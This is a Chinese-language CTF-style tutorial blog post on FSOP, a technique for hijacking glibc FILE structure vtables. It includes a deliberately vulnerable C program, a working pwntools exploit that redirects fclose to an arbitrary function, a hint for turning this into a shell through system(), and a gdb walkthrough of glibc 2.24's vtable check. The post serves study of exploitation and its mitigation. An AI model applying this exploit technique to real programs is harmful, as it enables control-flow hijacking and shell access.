内容简介:FSOP以及glibc针对其所做的防御措施
年三十晚上边看电视边搞了下 pwnable.tw 上一个FSOP的题目(春晚太无聊了,唯一一个有意思的开心麻花的小品我还错过了),
当时本地写好已经可以getshell的exp,跑远程失败了,返回本地再调试的时候居然失败了
当时我的心理活动大概是这样的
“诶,咋刚才可以现在不行了” “这个fatal error是啥,刚才咋没有” “我明明啥都没改啊” “还是调一下吧” “诶WOC这咋有个check” “诶WOC为啥刚才能过?”
最后才发现重新返回本地跑exp的时候没有把libc切成题目给的libc(exp里一个 ./ 被我误删了),而是用的我本机的libc,而我本机的libc版本针对fsop做了个专门的check,
所以是跑不起来的
FSOP
What is FSOP
ROP是一种针对栈溢出的内存攻击技术,其全称是Return-oriented programming,即返回导向编程,这种攻击技术是针对函数的返回地址,篡改返回地址达到控制程序流的目的
FSOP这个名字出自 HITCON CTF Qual 2016 - House of Orange Write up ,
顾名思义,就是控制文件流,进而控制程序流程
FILE 结构体
一般我们对于文件是这么操作的
FILE *fp = fopen("/file/path", "w+");
fwrite("test", 1, 4, fp);
fclose(fp);
fopen() 函数接收参数,然后会在堆上申请一块内存来存放 FILE 结构体,返回一个 FILE 类型的结构体指针,供 fwrite , fclose 等函数使用,
现代 linux 系统下, FILE 结构体在glibc源码中的定义为 struct _IO_FILE_plus ,实际上是一个 _IO_FILE 结构体加上一个虚函数表,
这个虚函数表里有close,write,read等等函数,整个结构体大概长这样:
所以我们在执行
fclose(fp) 时,实际上执行的是
fp->close()
对于FSOP的利用,我们只需要知道虚函数表的位置就行了
POC
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
char deadbeef[0x400];
voidpwn()
{
puts("Hello world!");
exit(0);
}
intmain()
{
read(0, deadbeef, 0x400);
fclose((FILE *)deadbeef);
return 0;
}
编译下
gcc -m32 ./fsop.c -o ./fsop -no-pie
(GCC6默认开启PIE了)
IDA打开看下几个要用到的地址
pwn函数
.text:080484BB .text:080484BB ; =============== S U B R O U T I N E ======================================= .text:080484BB .text:080484BB ; Attributes: noreturn bp-based frame .text:080484BB .text:080484BB public pwn .text:080484BB pwn proc near .text:080484BB push ebp .text:080484BC mov ebp, esp .text:080484BE push ebx .text:080484BF sub esp, 4 .text:080484C2 call __x86_get_pc_thunk_bx .text:080484C7 add ebx, 1B39h .text:080484CD sub esp, 0Ch .text:080484D0 lea eax, (aHelloWorld - 804A000h)[ebx] ; "Hello world!" .text:080484D6 push eax ; s .text:080484D7 call _puts .text:080484DC add esp, 10h .text:080484DF sub esp, 0Ch .text:080484E2 push 0 ; status .text:080484E4 call _exit .text:080484E4 pwn endp
deadbeef的地址
.bss:0804A060 public deadbeef .bss:0804A060 ; FILE deadbeef .bss:0804A060 deadbeef FILE <?> ; DATA XREF: main+22o .bss:0804A060 ; main+36o .bss:0804A0F4 db ? ;
写个py脚本
from pwn import *
p = process('./fsop', env = {"LD_PRELOAD" : "./libc_32.so.6"})
fake_file_addr = 0x0804A060
pwn_addr = 0x080484BB
fake_vtable = p32(pwn_addr) * 21
fake_vtable_addr = fake_file_addr + 0x50
fake_file = '\xff' * 0x4c
payload = ''
payload += fake_file
payload += p32(fake_vtable_addr)
payload += fake_vtable
p.send(payload)
p.interactive()
这个py脚本里我把伪造的虚函数表全部填成了pwn函数的地址,把 FILE 结构体的其他成员全部写成了0xff,这样就可以绕过glibc的一些检查
打下exp
root@kali:/vagrant/fsop# python fsop_exp.py [x] Starting local process './fsop' [+] Starting local process './fsop': Done [*] Switching to interactive mode Hello world! [*] Got EOF while reading in interactive [*] Process './fsop' stopped with exit code 0 [*] Got EOF while sending in interactive root@kali:/vagrant/fsop#
成功执行pwn函数
其他
关于 _IO_FILE 结构体的第一个成员,我在实验的时候发现,通过 fopen 函数返回的fp,其第一个成员都是一个固定值,实际上该成员并没有规定一个具体数值,
就如同上一个exp,将其设置为0xffffffff也没有影响,所以如果目标是得到 shell 的话,完全可以将其值设为0x3b6873(字符串 'sh;\x00' ),然后控制虚函数表成员为system(),
就可以getshell了
glibc针对FSOP所做的patch
glibc 2.24中的check
在上一个exp里,我将环境变量的 LD_PRLOAD 设置为了 ./libc_32.so.6 ,这个libc是我从 pwnable.tw 扒拉下来的,运行一下发现版本是2.23,并没有针对FSOP做一个有效的防御,
现在把那个环境变量去掉,再运行一下exp
root@kali:/vagrant/fsop# python fsop_exp.py [x] Starting local process './fsop' [+] Starting local process './fsop': Done [*] Switching to interactive mode Fatal error: glibc detected an invalid stdio handle [*] Got EOF while reading in interactive [*] Process './fsop' stopped with exit code -6 [*] Got EOF while sending in interactive
我本机的libc版本是2.24,从这个错误信息来看,因该是glibc针对劫持 FILE 结构体虚函数表的攻击方式做了个有效的防御,我们用gdb来调试看看,
在原先脚本发送payload之前设置一个挂起,然后用gdb attach附加到进程,在fclose下个断点
gdb-peda$ b fclose Breakpoint 1 at 0xf76544f6 (2 locations)
单步跟踪至fclose
[-------------------------------------code-------------------------------------] 0xf76546f0 <fclose+512>: sub esp,0xc 0xf76546f3 <fclose+515>: mov ebx,edi 0xf76546f5 <fclose+517>: push esi => 0xf76546f6 <fclose+518>: call 0xf7717d40 <fclose> 0xf76546fb <fclose+523>: add esp,0x10 0xf76546fe <fclose+526>: mov DWORD PTR [ebp-0x1c],eax 0xf7654701 <fclose+529>: mov eax,DWORD PTR [ebp-0x1c] 0xf7654704 <fclose+532>: lea esp,[ebp-0xc] Guessed arguments: arg[0]: 0x804a060 --> 0xffffffff
步入,然后再单步跟踪至 fclose+176
[----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xf77aa000 --> 0x1b2db0 ECX: 0x8000 EDX: 0x8000 ESI: 0x804a060 --> 0xffffff7f EDI: 0xf77aa000 --> 0x1b2db0 EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0 ESP: 0xffacc8f0 --> 0x1 EIP: 0xf7717df0 (<fclose+176>: mov ebx,DWORD PTR [esi+0x4c]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7717de5 <fclose+165>: je 0xf7717e6b <fclose+299> 0xf7717deb <fclose+171>: nop 0xf7717dec <fclose+172>: lea esi,[esi+eiz*1+0x0] => 0xf7717df0 <fclose+176>: mov ebx,DWORD PTR [esi+0x4c] 0xf7717df3 <fclose+179>: lea eax,[edi-0x1d00] 0xf7717df9 <fclose+185>: lea edx,[edi-0x152c] 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx
此时 esi 存放的是 FILE 结构体的地址,而 [esi+0x4c] 就是存放虚函数表地址的地方,这一步将 ebx 设置为了结构体中虚表地址
运行至 fclose+191
[----------------------------------registers-----------------------------------] EAX: 0xf77a8300 --> 0x0 EBX: 0x804a0b0 --> 0x80484bb (<pwn>: push ebp) ECX: 0x8000 EDX: 0xf77a8ad4 --> 0x0 ESI: 0x804a060 --> 0xffffff7f EDI: 0xf77aa000 --> 0x1b2db0 EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0 ESP: 0xffacc8f0 --> 0x1 EIP: 0xf7717dff (<fclose+191>: sub edx,eax) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7717df0 <fclose+176>: mov ebx,DWORD PTR [esi+0x4c] 0xf7717df3 <fclose+179>: lea eax,[edi-0x1d00] 0xf7717df9 <fclose+185>: lea edx,[edi-0x152c] => 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx 0xf7717e03 <fclose+195>: sub ecx,eax 0xf7717e05 <fclose+197>: cmp edx,ecx 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416>
这两步完成后, eax 和 edx 分别被赋予了两个和 edi 寄存器相关的值,而x86下程序运行时, edi 一般都指向 libc 的数据段,
用 gdb-peda 的 vmmap 查看内存映射,计算出这两个值和libc的偏移分别是 0x1b1300 和 0x1b1ad4 ,用IDA打开本机的libc,看看这两个地址都是个啥
__libc_IO_vtables:001B1300 ; =========================================================================== __libc_IO_vtables:001B1300 __libc_IO_vtables:001B1300 ; Segment type: Pure data __libc_IO_vtables:001B1300 ; Segment permissions: Read/Write __libc_IO_vtables:001B1300 ; Segment alignment '32byte' can not be represented in assembly __libc_IO_vtables:001B1300 __libc_IO_vtables segment para public 'DATA' use32 __libc_IO_vtables:001B1300 assume cs:__libc_IO_vtables __libc_IO_vtables:001B1300 ;org 1B1300h __libc_IO_vtables:001B1300 unk_1B1300 db 0 ; DATA XREF: sub_3F940+3Bo __libc_IO_vtables:001B1300 ; vfprintf+172o ... __libc_IO_vtables:001B1301 db 0 __libc_IO_vtables:001B1302 db 0 __libc_IO_vtables:001B1303 db 0 __libc_IO_vtables:001B1304 db 0 __libc_IO_vtables:001B1305 db 0 __libc_IO_vtables:001B1306 db 0 __libc_IO_vtables:001B1307 db 0 __libc_IO_vtables:001B1308 dd offset _IO_default_finish __libc_IO_vtables:001B130C dd offset sub_3F940 __libc_IO_vtables:001B1310 dd offset sub_6BA30 __libc_IO_vtables:001B1314 dd offset _IO_default_uflow __libc_IO_vtables:001B1318 dd offset _IO_default_pbackfail __libc_IO_vtables:001B131C dd offset _IO_default_xsputn __libc_IO_vtables:001B1320 dd offset _IO_default_xsgetn __libc_IO_vtables:001B1324 dd offset sub_6C130 __libc_IO_vtables:001B1328 dd offset sub_6BDD0 __libc_IO_vtables:001B132C dd offset sub_6BCA0 __libc_IO_vtables:001B1330 dd offset sub_6C080 __libc_IO_vtables:001B1334 dd offset _IO_default_doallocate __libc_IO_vtables:001B1338 dd offset sub_6CCC0 __libc_IO_vtables:001B133C dd offset sub_6CCD0 __libc_IO_vtables:001B1340 dd offset sub_6CCA0 __libc_IO_vtables:001B1344 dd offset sub_6C080 __libc_IO_vtables:001B1348 dd offset sub_6CCB0 __libc_IO_vtables:001B1ABC dd offset sub_6CCD0 __libc_IO_vtables:001B1AC0 dd offset sub_6CCA0 __libc_IO_vtables:001B1AC4 dd offset sub_6C080 __libc_IO_vtables:001B1AC8 dd offset sub_6CCB0 __libc_IO_vtables:001B1ACC dd offset sub_6CCE0 __libc_IO_vtables:001B1AD0 dd offset nullsub_7 __libc_IO_vtables:001B1AD0 __libc_IO_vtables ends __libc_IO_vtables:001B1AD0
可以看出,这两个值分别指向了libc中“默认”的IO虚函数表的起始位置,再结合后面的汇编代码
=> 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx 0xf7717e03 <fclose+195>: sub ecx,eax 0xf7717e05 <fclose+197>: cmp edx,ecx 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416>
可以确定,这段代码直接检查了当前这个 FILE 结构体所存放的虚函数表是不是落在了libc中“默认”的IO虚函数表的范围内,显然我们的exp过不了这个检查,
运行到跳转处查看下结果
[-------------------------------------code-------------------------------------]
0xf7717e01 <fclose+193>: mov ecx,ebx
0xf7717e03 <fclose+195>: sub ecx,eax
0xf7717e05 <fclose+197>: cmp edx,ecx
=> 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416>
| 0xf7717e0d <fclose+205>: sub esp,0x8
| 0xf7717e10 <fclose+208>: push 0x0
| 0xf7717e12 <fclose+210>: push esi
| 0xf7717e13 <fclose+211>: call DWORD PTR [ebx+0x8]
|-> 0xf7717ee0 <fclose+416>: call 0xf765ecf0
0xf7717ee5 <fclose+421>: jmp 0xf7717e0d <fclose+205>
0xf7717eea <fclose+426>: test DWORD PTR [esi],0x8000
0xf7717ef0 <fclose+432>: mov ecx,eax
JUMP is taken
[-------------------------------------code-------------------------------------]
0xf7717eda <fclose+410>: pop ebp
0xf7717edb <fclose+411>: ret
0xf7717edc <fclose+412>: lea esi,[esi+eiz*1+0x0]
=> 0xf7717ee0 <fclose+416>: call 0xf765ecf0
0xf7717ee5 <fclose+421>: jmp 0xf7717e0d <fclose+205>
0xf7717eea <fclose+426>: test DWORD PTR [esi],0x8000
0xf7717ef0 <fclose+432>: mov ecx,eax
0xf7717ef2 <fclose+434>: jne 0xf7717f1b <fclose+475>
单步运行后,标准输出输出 "Fatal error" ,程序接收 SIGABRT 信号后终止运行
猜想
2.24版本的libc直接检查了 FILE 结构体的虚函数表,使得FSOP这种攻击方式失去了作用,但是libc中“默认”的虚函数表是处于可读写的数据段的,
如果能直接改写,是否也能起到相同的作用?不过做到这一步基本离任意内存读写也不远了,应该也犯不着这么绕
以上所述就是小编给大家介绍的《FSOP以及glibc针对其所做的防御措施》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Domain-Driven Design Distilled
Vaughn Vernon / Addison-Wesley Professional / 2016-6-2 / USD 36.99
Domain-Driven Design (DDD) software modeling delivers powerful results in practice, not just in theory, which is why developers worldwide are rapidly moving to adopt it. Now, for the first time, there......一起来看看 《Domain-Driven Design Distilled》 这本书的介绍吧!